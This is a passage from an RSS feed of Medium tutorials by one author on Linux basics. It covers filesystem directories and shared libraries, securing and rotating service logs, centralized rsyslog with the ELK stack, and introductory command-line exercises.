functionality. These directories ensure binaries dynamically link to required libraries, saving disk space and memory by avoiding duplication of code.</p><p><strong>Exercise: Check the shared object files (.so) in /lib. Explain the purpose of these libraries.</strong></p><p>To check which shared libraries are used by an essential binary in /lib we use the ldd command:</p><pre>ldd /bin/ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6YXcmmeDL1DrDKT3QNmG-A.jpeg" /></figure><p><strong>RESULT INTERPRETATION</strong></p><h4>1. linux-vdso.so.1 (0x00007f5c80816000)</h4><ul><li>“Virtual Dynamic Shared Object” (VDSO) is a kernel-provided shared library.</li><li><strong>Purpose</strong>: Optimizes certain system calls (e.g., gettimeofday, clock_gettime) by providing them in user space instead of requiring a context switch to the kernel. It’s not a real file; it’s created dynamically by the kernel.</li></ul><h4>2. libselinux.so.1 =&gt; /lib64/libselinux.so.1 (0x00007f5c807aa000)</h4><ul><li>Shared library for SELinux (Security-Enhanced Linux).</li><li><strong>Purpose</strong>: Provides APIs for accessing SELinux functionality, such as security context handling and enforcing policies.</li></ul><h4>3. libcap.so.2 =&gt; /lib64/libcap.so.2 (0x00007f5c8079d000)</h4><ul><li>Shared library for POSIX capabilities.</li><li><strong>Purpose</strong>: Enables programs to use fine-grained privilege management (e.g., granting or restricting specific capabilities like CAP_NET_ADMIN without requiring full root privileges).</li></ul><h4>4. libc.so.6 =&gt; /lib64/libc.so.6 (0x00007f5c805ab000)</h4><ul><li>The GNU C Library (glibc), a core component of any Linux system.</li><li><strong>Purpose</strong>: Provides standard C library functions, such as file handling, memory management, string manipulation, and process control.</li></ul><h4>5. libpcre2-8.so.0 =&gt; /lib64/libpcre2-8.so.0 (0x00007f5c8050b000)</h4><ul><li>Shared library for the PCRE2 (Perl-Compatible Regular Expressions) engine.</li><li><strong>Purpose</strong>: Supports advanced regular expression processing, often used by text-processing tools and programming languages.</li></ul><h4>6. /lib64/ld-linux-x86-64.so.2 (0x00007f5c80818000)</h4><ul><li>Dynamic linker/loader for 64-bit ELF (Executable and Linkable Format) binaries.</li><li><strong>Purpose</strong>: Responsible for resolving and loading shared libraries required by a program at runtime. It runs before the main program starts, linking necessary libraries and resolving their symbols.</li></ul><p>These libraries are essential for system functionality and applications, enabling modularity, code reuse, and dynamic linking.</p><h3>Variable Data Directories</h3><p>Variable Data Directories are locations in the Linux filesystem that store data that is expected to change frequently during normal system operation. These are typically located under the /var directory.</p><h4>Create and Monitor a Temporary File in /var/tmp</h4><p>Navigate to /var/tmp:</p><pre>cd /var/tmp</pre><p>Create a temporary file:</p><pre>echo &quot;This is a temporary file&quot; &gt; tempfile.txt</pre><p>Verify its creation:</p><pre>ls -l tempfile.txt</pre><p>Modify the file and monitor changes:</p><p>Open another terminal and type:</p><pre>tail -f /var/tmp/tempfile.txt</pre><ul><li>Edit the file in the first terminal:</li></ul><pre>echo &quot;New content added&quot; &gt;&gt; tempfile.txt</pre><ul><li>Observe the changes in the second terminal.</li></ul><p>Find illustration below from my terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*8ZRkZJdP7qjRduAFNewZqQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*Qb5AX5eaplLpR1390GlDnA.jpeg" /></figure><h4>Exercise: Why Should /var Be on a Separate Partition?</h4><ol><li><strong>Prevents Full Disk Issues</strong>: Logs, cache, and temporary files in /var can grow quickly and consume disk space. A separate partition ensures this doesn’t affect critical system partitions (/, /home).</li><li><strong>Improves Performance</strong>: Logs and other frequently written data can benefit from optimized mounting options (e.g., noatime).</li><li><strong>Enhanced Security</strong>: A separate /var can be mounted with specific options (e.g., nodev, nosuid) to reduce vulnerabilities.</li><li><strong>Facilitates Backup and Maintenance</strong>: Backups and disk maintenance become easier when /var is isolated.</li></ol><h3>Documentation and Configuration Files</h3><p>Documentation files in Linux provide essential information on system setup, usage, and troubleshooting while Configuration files are used to control the behavior of the operating system and applications. They are usually stored in plain text and contain parameters or options.</p><p>Most applications in Linux provide documentation either in the form of man pages or files located in /usr/share/doc/ or similar directories.</p><p>The /etc/ directory contains system-wide configuration files that affect the entire system. To view the files, navigate to /etc using the <strong><em>cd /etc</em></strong> command then list contents with the <strong><em>ls -l</em></strong> command.</p><h4>Exercise: Modify a Configuration File (/etc/motd)</h4><p>The file /etc/motd (Message of the Day) is displayed after a user logs in. To modify it:</p><p>Open /etc/motd using a text editor (nano, vim, etc.):</p><pre>sudo nano /etc/motd</pre><p>Edit the file to include your message. For example:</p><pre>Welcome to Fedora!</pre><p>Save and exit (Ctrl + X, then Y to confirm).</p><p>After logging in again, you’ll see the updated message.</p><h4><strong>Describe the difference between global configuration files in /etc and user-specific configurations.</strong></h4><p>The key difference between global configuration files in /etc and user-specific configurations lies in their scope and applicability:</p><p>/etc/ (Global Configuration Files): These files contain settings that affect the entire system or all users. Changes made here apply to every user and process on the system. Examples include network settings, system services configurations, and system-wide security policies. Modifying these files requires root privileges due to their system-wide impact.</p><p>User-Specific Configurations: These settings are stored in individual user directories, typically within the user’s home directory (e.g., ~/.bashrc, ~/.config). They control the behavior of applications or the shell environment for a specific user. Changes here only affect that user’s environment and applications. Modifying these files requires only the user’s own permissions (or root permissions for files belonging to root).</p><p>In essence, /etc holds system-wide settings, while user-specific configurations customize individual user experiences without affecting the global system settings.</p><h4>Why is the Linux filesystem hierarchy structured differently from Windows?</h4><p>The differing structures reflect fundamental philosophical differences in how the operating systems are designed and how they manage resources:</p><ul><li>Linux (Unix-like): Emphasizes a hierarchical, tree-like structure with clear separation of concerns. This structure promotes modularity, maintainability, and consistent organization across different Linux distributions. It prioritizes clear separation of system files, user data, and temporary files.</li><li>Windows: Historically, Windows employed a flatter, less rigidly structured filesystem. While more recent versions have adopted some hierarchical improvements, the core approach remains different. Windows often prioritizes ease of use and accessibility for the average user over strict separation of system components.</li></ul><p>Obviously, Linux prioritizes a structured, organized, and easily maintainable system, while Windows historically prioritized ease of access for end users.</p><h4>What are the implications of not managing /var or /tmp on large systems?</h4><p>Neglecting /var and /tmp management on large systems has serious consequences:</p><p>/var (variable data): This directory stores log files, databases, and other frequently changing data. Without proper management (log rotation, database backups, etc.), these directories can grow uncontrollably, consuming vast amounts of disk space. This can lead to disk exhaustion, system slowdowns, and application failures.</p><p>/tmp (temporary files): This directory holds temporary files created by applications. If not properly managed (periodic cleanup), it can also become excessively large, causing similar problems as neglecting /var. Furthermore, security vulnerabilities can arise if temporary files containing sensitive data are not regularly purged.</p><h4>How can understanding PATH and library directories improve troubleshooting skills?</h4><p>Knowledge of PATH and library directories is crucial for effective troubleshooting:</p><p>PATH: Understanding the PATH environment variable allows you to quickly locate executable files. Troubleshooting problems related to command not found errors becomes much simpler when you can trace the search order defined in the PATH.</p><p>Library directories: When applications fail to load or run correctly, understanding shared library locations (/lib, /lib64, etc.) enables efficient investigation of dependency issues. Using tools like ldd to check for missing or corrupted libraries greatly accelerates problem diagnosis.</p><p>In summary, a strong understanding of the Linux filesystem hierarchy, including PATH and library directories, empowers system administrators and developers to quickly pinpoint and resolve many common issues, greatly improving their troubleshooting efficiency.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b884ef0d39d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enterprise Logging System]]></title>
            <link>https://medium.com/@onyedikachiofooha/enterprise-logging-system-9cd3f5b613d3?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/9cd3f5b613d3</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Mon, 23 Dec 2024 16:27:33 GMT</pubDate>
            <atom:updated>2024-12-23T16:27:33.912Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*ma7HqAQeSGf9pi5bDqsXyw.jpeg" /></figure><p>In today’s digital age, managing and monitoring the vast amount of data generated by an organization’s IT infrastructure is crucial for maintaining security, performance, and compliance. An effective logging system captures, stores, and analyzes log data from various sources, ensuring smooth operations and quick identification of issues. This write-up covers the basics of an enterprise logging system extensively.</p><h4>Overview</h4><p>This write up focuses on setting up a comprehensive logging and monitoring system for an organization. The goal is to configure and secure logging for critical services, implement efficient log rotation policies, set up a centralized log server, and utilize powerful tools to analyze and visualize log data.</p><h4>Key Tasks</h4><p><strong>Configure and Secure Logging for Critical Services</strong>: <strong>sshd</strong>, <strong>httpd</strong>, and <strong>cron. </strong>Imagine your computer is like a house, and each service like SSH, Apache, and cron are like rooms in that house. Each room has a “logbook” that records what happens inside. So, by configuring and securing logging for critical services, you’re ensuring that you have a reliable and trustworthy record of what happens within your computer, which helps you keep your systems secure, stable, and running smoothly.</p><ul><li><strong>sshd</strong>: Secure Shell Daemon logs remote access attempts and security events. To set up log for sshd, we have to follow the steps below:</li><li>Open the SSHD configuration file with the command <strong><em>sudo nano /etc/ssh/sshd_config</em></strong></li><li>Look for the line starting with LogLevel. If it’s not there, add it. (This sets SSH to log at the INFO level, capturing login attempts and connections)</li><li>Reload the SSH service to apply the changes with the <strong><em>sudo systemctl reload sshd</em></strong> command</li><li>Finally, verify logs are being written with the <strong><em>sudo tail -f /var/log/secure</em></strong> command. Look for SSH-related entries when you log in or attempt a connection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BjhgtRhUabzejOXmRJVUng.jpeg" /><figcaption>The -f in the command shows new logs in real time</figcaption></figure><ul><li><strong>httpd</strong>: Apache Web Server logs web traffic and server activities. To set up log for httpd, we have to follow the steps below:</li><li>Open the Apache configuration file using the <strong><em>sudo nano /etc/httpd/conf/httpd.conf</em></strong> command.</li><li>Find or add the lines below to define error and access log locations</li></ul><p><strong><em>ErrorLog “/var/log/httpd/error_log”<br> CustomLog “/var/log/httpd/access_log” combined</em></strong></p><ul><li>Save and exit the file.</li><li>Very importantly, secure log file permissions using the commands below:</li></ul><p><strong><em>sudo chmod 640 /var/log/httpd/<br>sudo chown root:adm /var/log/httpd/.</em></strong></p><p>Commands explained below:</p><p><strong><em>sudo chmod 640 /var/log/httpd/</em></strong></p><ul><li><strong>chmod</strong>: Changes the file permissions.</li><li><strong>640</strong>: Sets the file permissions as follows:</li><li><strong>Owner</strong> (6): Read and write permissions.</li><li><strong>Group</strong> (4): Read-only permission.</li><li><strong>Others</strong> (0): No permissions.</li></ul><p><strong><em>sudo chown root:adm /var/log/httpd/</em></strong></p><ul><li><strong>chown</strong>: Changes the ownership of files.</li><li><strong>root:adm</strong>: Specifies the new owner and group:</li><li><strong>root</strong>: The user who owns the files.</li><li><strong>adm</strong>: The group that owns the files.</li><li><strong>/var/log/httpd/*</strong>: Applies the ownership change to all files in the /var/log/httpd/ directory.</li></ul><h4>Why It’s Important:</h4><ul><li>Setting the owner as root ensures only the system administrator can modify the files.</li><li>Assigning the group as adm allows users in the adm group to read the log files (but not modify them). The adm group is often used for system administrators who need access to logs for troubleshooting.</li></ul><p>These commands:</p><ol><li>Protect log files from unauthorized access.</li><li>Allow only system administrators (or designated users in the adm group) to view the logs.</li><li>Reduce the risk of accidental modification or deletion of log files by non-privileged users.</li></ol><p>Restart Apache with the command <strong><em>sudo systemctl restart httpd</em></strong> to apply changes.</p><ul><li><strong>cron</strong>: Cron logging is the process of logging cron job activities, including successes, failures, and errors. This helps system administrators monitor and troubleshoot cron jobs. To set up log for cron, we have to follow the steps below:</li><li>Ensure cron logs are enabled in rsyslog using the <strong><em>sudo nano /etc/rsyslog.conf </em></strong>command.</li><li>Look for a line like this (or add it) <strong><em>cron.* /var/log/cron.log</em></strong></li><li>Save and exit the file.</li><li>Restart the rsyslog using the <strong><em>sudo systemctl restart rsyslog</em></strong> command.</li><li>Check if cron logs are being recorded using the <strong><em>sudo tail -f /var/log/cron.log </em></strong>command. Find below results</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0UeUkmQRODKx8tOkFreRXw.jpeg" /></figure><p><strong>Implement Log Rotation Policies</strong></p><p>Implementing <strong>log rotation policies</strong> refers to the systematic management of log files generated by applications and systems. These policies are essential for maintaining the performance and efficiency of systems by preventing log files from consuming excessive disk space. Implementing log rotation policies is a crucial practice for effective log management, ensuring that systems run smoothly and efficiently while maintaining necessary log data for analysis and compliance. When Log files are rotated, it means older log files are renamed and replaced with newer log files.</p><p>Rotating a log file typically occurs on a regularly-scheduled basis: for example, once a week. When a log file is rotated, the system stops writing to the log file and adds a suffix to it. Then a new file with the original name is created, and the logging process continues using this new file.</p><ul><li>To implement log rotation policy simply open the global logrotate configuration file using the <strong><em>sudo nano /etc/logrotate.conf </em></strong>command. Check for the following settings or adjust as needed,</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*iajFg4SiZ4ur6N3PToOY3A.jpeg" /></figure><ul><li>Create a custom policy for HTTPD logs using <strong><em>sudo nano /etc/logrotate.d/httpd </em></strong>command. Add the folowing:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*UCvzcxHwTkfMvtEalQGrEQ.jpeg" /><figcaption><strong>In essence, this configuration block automatically rotates Apache’s log files weekly, keeps the last 4 weeks’ worth of logs compressed, and reloads the Apache service after each rotation.</strong> <strong>This helps manage disk space, maintain log history, and ensure the Apache server is running with the latest log files.</strong></figcaption></figure><ul><li>Save and exit, then test the configuration using the <strong>s<em>udo logrotate -v /etc/logrotate.conf </em></strong>command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zJtKeB8XxqH06LuWxyY82g.jpeg" /></figure><p>This process automatically manages log files to prevent them from consuming excessive disk space.</p><h3><strong>Set Up a Centralized Log Server with rsyslog</strong>:</h3><p>The following six steps below can help to easily set set up log server with rsyslog for both the central and server clients.</p><h4>1. Install Rsyslog</h4><p>First, ensure that rsyslog is installed on both the central logging server and the client servers:</p><pre>sudo apt update<br>sudo apt install rsyslog</pre><h4>2. Configure the Central Logging Server</h4><p>Edit the rsyslog configuration file to set up the server:</p><pre>sudo nano /etc/rsyslog.conf</pre><p>Uncomment the following lines by removing the # sign to enable UDP and TCP reception. <strong>UDP</strong> (User Datagram Protocol) and <strong>TCP</strong> (Transmission Control Protocol) are two fundamental communication protocols used in network communications. Both operate over IP (Internet Protocol) and are used to send data between devices on a network, but they have different characteristics and use cases.</p><pre>module(load=&quot;imudp&quot;)<br>input(type=&quot;imudp&quot; port=&quot;514&quot;)</pre><pre>module(load=&quot;imtcp&quot;)<br>input(type=&quot;imtcp&quot; port=&quot;514&quot;)</pre><p>Save and close the file.</p><h4>3. Restart Rsyslog Service</h4><p>Restart the rsyslog service to apply the changes using</p><pre>sudo systemctl restart rsyslog</pre><h4>4. Configure the Client Servers</h4><p>On each client server, edit the rsyslog configuration file:</p><pre>sudo nano /etc/rsyslog.conf</pre><p>Add the following lines to forward logs to the central logging server:</p><pre>*.* @@central_logging_server_ip:514</pre><p>Replace central_logging_server_ip with the IP address of your central logging server.</p><h4>5. Restart Rsyslog Service on Client Servers</h4><p>Restart the rsyslog service on each client server:sh</p><pre>sudo systemctl restart rsyslog</pre><h4>6. Verify Log Forwarding</h4><p>Check the logs on the central logging server to ensure that logs are being received using</p><pre>tail -f /var/log/syslog</pre><p>By following these steps, you should have a centralized logging setup using rsyslog.</p><h3><strong>Using ELK (Elasticsearch, Logstash, Kibana) to Analyze and Visualize Logs</strong>:</h3><p>The ELK Stack (Elasticsearch, Logstash, and Kibana) is a powerful set of open-source tools for log management and analysis. Here’s a breakdown of how to use the ELK tools.</p><h4>1. Install ELK Stack</h4><p>First, install Elasticsearch, Logstash, and Kibana on your server. You can find installation guides on the official websites of each tool.</p><h4>2. Configure Logstash</h4><p>Logstash collects and processes logs from various sources. Configure Logstash to ingest logs from your servers or applications and send them to Elasticsearch:</p><pre>input {<br>  beats {<br>    port =&gt; 5044<br>  }<br>}<br>output {<br>  elasticsearch {<br>    hosts =&gt; [&quot;http://localho:9200&quot;]<br>  }<br>}</pre><p>Save this configuration file and restart Logstash.</p><h4>3. Set Up Elasticsearch</h4><p>Elasticsearch indexes and stores the logs sent by Logstash. Ensure Elasticsearch is running and properly configured to receive data from Logstash.</p><h4>4. Visualize Logs with Kibana</h4><p>Kibana is the visualization layer that allows you to explore and analyze the logs stored in Elasticsearch. Open Kibana in your web browser and connect it to your Elasticsearch instance1. You can create dashboards and visualizations to gain insights from your log data.</p><h4>5. Create Dashboards</h4><p>Use Kibana to create dashboards that display key metrics and logs. You can customize the visualizations to suit your needs and gain actionable insights from your log data.</p><h4>6. Monitor and Analyze</h4><p>Regularly monitor and analyze your logs using the dashboards you created. This helps in troubleshooting issues, detecting anomalies, and gaining a better understanding of your system’s performance.</p><p>By following these steps, you can effectively use the ELK Stack to analyze and visualize your logs.</p><p>This project ensures that all critical events and activities within the organization’s IT environment are logged, monitored, and analyzed efficiently, enhancing security, performance, and operational oversight.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9cd3f5b613d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INTRODUCTION TO BASIC LINUX OPERATING SYSTEM]]></title>
            <link>https://medium.com/@onyedikachiofooha/introduction-to-basic-linux-operating-system-51d565629f2d?source=rss-1f1ac82dce2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/51d565629f2d</guid>
            <dc:creator><![CDATA[Onyedikachi Obioma Ofooha]]></dc:creator>
            <pubDate>Fri, 29 Nov 2024 19:44:45 GMT</pubDate>
            <atom:updated>2024-11-29T19:56:57.380Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*lHrPrVvsQKwFz814ceaf-w.jpeg" /></figure><p>INTRODUCTION TO BASIC LINUX OPERATING SYSTEM</p><p><strong>OBJECTIVE :</strong></p><p>The objective of this study is to introduce the fundamentals of the Linux operating system and familiarize readers with the Linux command line interface (CLI). Additionally, the write-up will detail how to navigate the Linux filesystem and manage files effectively, while exploring the use of essential Linux commands and tools. By the conclusion of this study, readers are expected to have acquired hands-on experience with a Linux distribution within a virtualized environment.</p><p>The study is packed with six(6) exercise to help drive home the point.</p><p><strong>Exercise 1: Linux Basics and System Information</strong></p><p><strong>Log in to your Linux VM using the username and password you set up.</strong></p><p><strong>Check the current user</strong>: This entails identifying and outputting the username of the user who is currently logged in the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*SjrubZ5Fyer50zulKHC4Xw.jpeg" /><figcaption>The whoami command is used to check current user</figcaption></figure><p><strong>Display system information</strong>: This task provides specific details, giving you a thorough overview of your system’s status and configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5CkDzh9u0BNkO0IkG6bsQ.jpeg" /><figcaption>To get system info the lscpu command was used</figcaption></figure><p><strong>Check the current directory</strong>: Checking the current directory means finding out which directory you are currently working in within the file system of a Linux operating system . This is done using the pwd (print working directory) command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*5eZIuZj1_EigqoPLCAj_Aw.jpeg" /><figcaption>pwd command</figcaption></figure><p><strong>List the files and directories in the current location: </strong>Listing the files and directories in the current location means displaying the contents of the directory you are currently in. This is typically done using the ls command in Unix-like operating systems such as Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*6H1cKHiYim-zjJdQPlzRJg.jpeg" /><figcaption>The option-al prompts the terminal to list all directories including hidden ones</figcaption></figure><p><strong>Exercise 2: Navigating the Filesystem</strong></p><p><strong>Navigate to different directories: </strong>Navigating to different directories means moving from one directory (folder) to another within the file system using command line commands. This is typically done using the cd (change directory) command.</p><pre>cd [directory]</pre><p>Replace [directory] with the path to the directory you want to move to.</p><p><strong>Create a new directory and a file: </strong>When you <strong>create a new directory</strong>, you’re making a new folder where you can store files and other directories. This helps in organizing your data. The mkdir command is used to create directories, while the touch command is used to create empty files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z8izPXOLRILLzE_Ijqf0tg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s40h3LTCT9mwRCD-fRcCdw.jpeg" /><figcaption>Frame 1 shows creation of a new directory using the mkdir command while frame 2 shows creation of a new file using the touch command</figcaption></figure><p><strong>View contents of the file (which is currently empty)</strong>: This is achieved using the cat command which displays file contents on terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q-y6-c69G5X-mLalr-1mpQ.jpeg" /></figure><p><strong>Use nano editor to edit the file and display the contents of the file again</strong>: To edit files on the terminal with nano editor, you have to type nano followed by the filename to access and edit the file. The illustration below shows this simple process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*ixg6FQkGb8Zb82LwDY9AYQ.jpeg" /></figure><p><strong>Exercise 3: Managing Files and Directories</strong></p><p><strong>Copy the file to a new location:</strong> This can be accomplished using the <strong>cp</strong> command but note that the cp command will not copy directories. However, the recursive -r option allows the cp command to copy both files and directories to desired location. Find the illustration below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mo1kX_qvCCjNkJC6hRKBAQ.jpeg" /><figcaption>Here the -iv represents the interactive and verbose options providing more details to the command</figcaption></figure><p><strong>Move the file to another directory</strong>: To move the file we have to use the <strong>mv</strong> command which is similar to the cp command. (mv /source ~/destination)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*AyuFvEhY4p0Yd7LK93cyHA.jpeg" /></figure><p><strong>Rename the file</strong>: The <strong>mv</strong> command is also used to rename a file. If the destination for mv command is a directory, the file file is moved to the directory specified. The name of the file only changes if a destination filename is also specified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*WxAeqt5tjCaPetds1AlqkQ.jpeg" /></figure><p><strong>Delete the file and directory</strong>: To delete or remove a file, the <strong>rm</strong> command is used while to remove a directory, the <strong>rmdir</strong> command is employed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eI7AY6RHf6jHoP79hl4fTQ.jpeg" /></figure><p><strong>Exercise 4: User and System Management</strong></p><p><strong>Check currently logged-in users: </strong>Checking the currently logged-in users in Linux means finding out who else is using the system at that moment. It’s like peeking into a room to see who’s hanging out inside. Here’s a simple explanation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*SjrubZ5Fyer50zulKHC4Xw.jpeg" /></figure><p><strong>Create a new user</strong>: Creating a new user in Linux is like giving someone their own account on your computer. This is only done with sudo privilege. Find the illustration below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*YHZVRWuT9XojfbfTkWXdeA.jpeg" /></figure><p><strong>Switch to the new user</strong>: Switching to a new user in a Unix-like operating system such as Linux involves using the su (substitute user) or sudo (superuser do) command. Here&#39;s a brief explanation of both methods:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uWWeu5HnlTwSD-FS_d86uA.jpeg" /></figure><p><strong>Check system uptime and resource usage: </strong>To check system uptime and resource usage on Linux, you can use several commands like the uptime command which shows how long the system has been running and the system load averages. The top command can also be used which provides a dynamic, real-time view of the system’s running processes, including uptime information at the top, CPU, memory, and swap usage, as well as the running processes and their resource consumption. However, the htop command is an enhanced version of top, providing an interactive and visually appealing view of resource usage. Find the illustration of displayed system uptime using the <strong>htop</strong> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sQYsQR7yulINP_K_r17lCA.jpeg" /></figure><p><strong>Exercise 5: Network Configuration and Connectivity</strong></p><p><strong>Display network interface information</strong>: Displaying network interface information means obtaining detailed information about the network interfaces on your system. This information includes details such as IP addresses, MAC addresses, interface statuses. The ifconfig command is used to generate this which provides detailed information about network interfaces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*94DTJyTkHpZA4StRzuFhrA.jpeg" /></figure><p><strong>Check connectivity to a website: </strong>Checking connectivity to a website means testing if your computer can communicate with a specific website on the internet. This process helps determine if there are any network issues preventing access to the site. Using the ping command followed by the website sends packets of data to the website and measures the time it takes for the packets to return. If the packets come back, the website is reachable. Find below an illustration on the terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QIjP0diz5lQldDFUwh9-Dw.jpeg" /><figcaption>checking for google.com</figcaption></figure><p><strong>Display DNS configuration</strong>: Displaying DNS (Domain Name System) configuration means checking the settings that your computer uses to resolve domain names into IP addresses. This is essential for accessing websites, sending emails, and other network activities.</p><p>Using systemd-resolve command will display DNS configuration info on a Linux system. The illustration below shows a typical example</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jrxXsGQ3F1IVn6h9VgIMww.jpeg" /></figure><p><strong>Exercise 6: Package Management (Ubuntu)</strong></p><p><strong>Update package repositories</strong>: Updating package repositories means refreshing the list of available packages and their versions that your system’s package manager uses. This is an essential step to ensure you have the latest information about available software, security updates, and bug fixes. To do this, the sudo apt update command is used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QPOD5ZBm-WesaNhsjQzxDw.jpeg" /></figure><p><strong>Upgrade installed packages</strong>: All updates are quickly followed by upgrades and this is done with the sudo apt upgrade command, after which system reboot is encouraged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgwkVlFkUM6oS9lV5x_yjg.jpeg" /></figure><p><strong>Install a new package (e.g., htop):</strong> To install the htop package the command is <strong>sudo apt install htop</strong> and package will be downloaded. Find below the illustration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzB4NmUIrtK18ClARNzS9g.jpeg" /></figure><p><strong>Remove a package</strong>: To remove the package the <strong>sudo apt remove htop</strong> is used as you can see below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AgNZfuN_zt1ugrquB2aF4Q.jpeg" /><figcaption>the which htop command confirms that htop is no longer in the system.</figcaption></figure><h3>Summary</h3><p>This study focused on introducing the fundamentals of the Linux operating system and its command line interface (CLI). It encompassed six exercises designed to provide hands-on experience with various Linux commands and tools within a virtualized environment.</p><p><strong>Exercise 1</strong> covered the basic Linux commands. It started using the whoami command to check the current user on the system after logging into a Linux VM. It also showed System information which is obtained with lscpu, and how the current directory is checked with pwd. Exercise 1 concluded with the ls command which listed the files and directories in the operating system.</p><p><strong>Exercise 2</strong> covered navigating the filesystem using the cd command. New directories and files were created using mkdir and touch, respectively. The cat command was also used to view file contents, and the nano editor was used to edit files.</p><p><strong>Exercise 3</strong> focused on managing files and directories. The cp command was used to copy files, while mv was used to move and rename them. Files were deleted with the rm command, and directories with rmdir.</p><p><strong>Exercise 4</strong> delved into user and system management. Commands like su and sudo were used to switch users. System uptime and resource usages were checked using uptime and top, with htop providing an enhanced view.</p><p><strong>Exercise 5</strong> covered network configuration and connectivity. Network interface information was displayed using ifconfig and ip addr show. Connectivity to websites was also checked with ping, and DNS configuration is examined via systemd-resolve.</p><p><strong>Exercise 6</strong> dealt with package management in Ubuntu. The sudo apt update command refreshed package repositories, and sudo apt upgrade upgraded installed packages. New packages like htop was installed with sudo apt install, and removed with sudo apt remove.</p><p>By the end of this study, adept participants will gain practical experience in navigating, managing, and troubleshooting within a Linux environment.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51d565629f2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>